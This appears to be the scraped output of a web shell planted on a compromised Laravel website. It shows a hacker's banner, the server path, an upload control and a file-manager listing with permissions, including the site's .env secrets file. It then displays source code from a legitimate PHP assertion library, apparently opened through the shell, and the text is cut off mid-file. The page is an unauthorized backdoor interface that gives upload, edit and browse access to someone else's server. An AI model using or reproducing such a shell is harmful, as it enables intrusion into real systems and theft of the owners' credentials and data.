I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Webmozart\Assert;
use ArrayAccess;
use BadMethodCallException;
use Closure;
use Countable;
use DateTime;
use DateTimeImmutable;
use Exception;
use ResourceBundle;
use SimpleXMLElement;
use Throwable;
use Traversable;
/**
* Efficient assertions to validate the input/output of your methods.
*
* @since 1.0
*
* @author Bernhard Schussek
*/
class Assert
{
use Mixin;
/**
* @psalm-pure
* @psalm-assert string $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function string($value, $message = '')
{
if (!\is_string($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a string. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert non-empty-string $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function stringNotEmpty($value, $message = '')
{
static::string($value, $message);
static::notEq($value, '', $message);
}
/**
* @psalm-pure
* @psalm-assert int $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function integer($value, $message = '')
{
if (!\is_int($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected an integer. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert numeric $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function integerish($value, $message = '')
{
if (!\is_numeric($value) || $value != (int) $value) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected an integerish value. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert positive-int $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function positiveInteger($value, $message = '')
{
if (!(\is_int($value) && $value > 0)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a positive integer. Got: %s',
static::valueToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert float $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function float($value, $message = '')
{
if (!\is_float($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a float. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert numeric $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function numeric($value, $message = '')
{
if (!\is_numeric($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a numeric. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert positive-int|0 $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function natural($value, $message = '')
{
if (!\is_int($value) || $value < 0) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a non-negative integer. Got: %s',
static::valueToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert bool $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function boolean($value, $message = '')
{
if (!\is_bool($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a boolean. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert scalar $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function scalar($value, $message = '')
{
if (!\is_scalar($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a scalar. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert object $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function object($value, $message = '')
{
if (!\is_object($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected an object. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert resource $value
*
* @param mixed $value
* @param string|null $type type of resource this should be. @see https://www.php.net/manual/en/function.get-resource-type.php
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function resource($value, $type = null, $message = '')
{
if (!\is_resource($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a resource. Got: %s',
static::typeToString($value)
));
}
if ($type && $type !== \get_resource_type($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a resource of type %2$s. Got: %s',
static::typeToString($value),
$type
));
}
}
/**
* @psalm-pure
* @psalm-assert callable $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function isCallable($value, $message = '')
{
if (!\is_callable($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a callable. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert array $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function isArray($value, $message = '')
{
if (!\is_array($value)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected an array. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert iterable $value
*
* @deprecated use "isIterable" or "isInstanceOf" instead
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function isTraversable($value, $message = '')
{
@\trigger_error(
\sprintf(
'The "%s" assertion is deprecated. You should stop using it, as it will soon be removed in 2.0 version. Use "isIterable" or "isInstanceOf" instead.',
__METHOD__
),
\E_USER_DEPRECATED
);
if (!\is_array($value) && !($value instanceof Traversable)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a traversable. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert array|ArrayAccess $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function isArrayAccessible($value, $message = '')
{
if (!\is_array($value) && !($value instanceof ArrayAccess)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected an array accessible. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert countable $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function isCountable($value, $message = '')
{
if (
!\is_array($value)
&& !($value instanceof Countable)
&& !($value instanceof ResourceBundle)
&& !($value instanceof SimpleXMLElement)
) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected a countable. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-assert iterable $value
*
* @param mixed $value
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function isIterable($value, $message = '')
{
if (!\is_array($value) && !($value instanceof Traversable)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected an iterable. Got: %s',
static::typeToString($value)
));
}
}
/**
* @psalm-pure
* @psalm-template ExpectedType of object
* @psalm-param class-string $class
* @psalm-assert ExpectedType $value
*
* @param mixed $value
* @param string|object $class
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function isInstanceOf($value, $class, $message = '')
{
if (!($value instanceof $class)) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected an instance of %2$s. Got: %s',
static::typeToString($value),
$class
));
}
}
/**
* @psalm-pure
* @psalm-template ExpectedType of object
* @psalm-param class-string $class
* @psalm-assert !ExpectedType $value
*
* @param mixed $value
* @param string|object $class
* @param string $message
*
* @throws InvalidArgumentException
*/
public static function notInstanceOf($value, $class, $message = '')
{
if ($value instanceof $class) {
static::reportInvalidArgument(\sprintf(
$message ?: 'Expected an instance other than %2$s. Got: %s',
static::typeToString($value),
$class
));
}
}
/**
* @psalm-pure
* @psalm-param array $classes
*
* @param mixed $value
* @param array